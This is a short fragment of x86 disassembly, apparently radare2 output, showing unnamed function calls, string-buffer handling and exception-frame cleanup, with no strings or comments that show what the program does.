lea eax, [ebp - 0x170]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x170]
call fcn.0040efa4
jmp 0x416597
call fcn.00406288
mov ecx, 0x4169f0
lea eax, [ebp - 0x174]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x174]
call fcn.0040efa4
test al, al
je 0x416554
mov eax, esi
mov edx, 0x4180ac
call fcn.004037f8
mov ecx, 0x416a04
lea eax, [ebp - 0x178]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x178]
call fcn.0040efa4
jmp 0x416597
mov eax, esi
mov edx, 0x4180d8
call fcn.004037f8
call fcn.00406288
call fcn.00410004
test al, al
jne 0x416597
call fcn.00406288
call fcn.00410cb0
test al, al
jne 0x416597
call fcn.00410004
mov eax, 0x418174
call fcn.00418648
mov eax, esi
mov edx, 0x41818c
call fcn.004037f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4165bc
lea eax, [ebp - 0x178]
mov edx, 0x5e
call fcn.004037c8
ret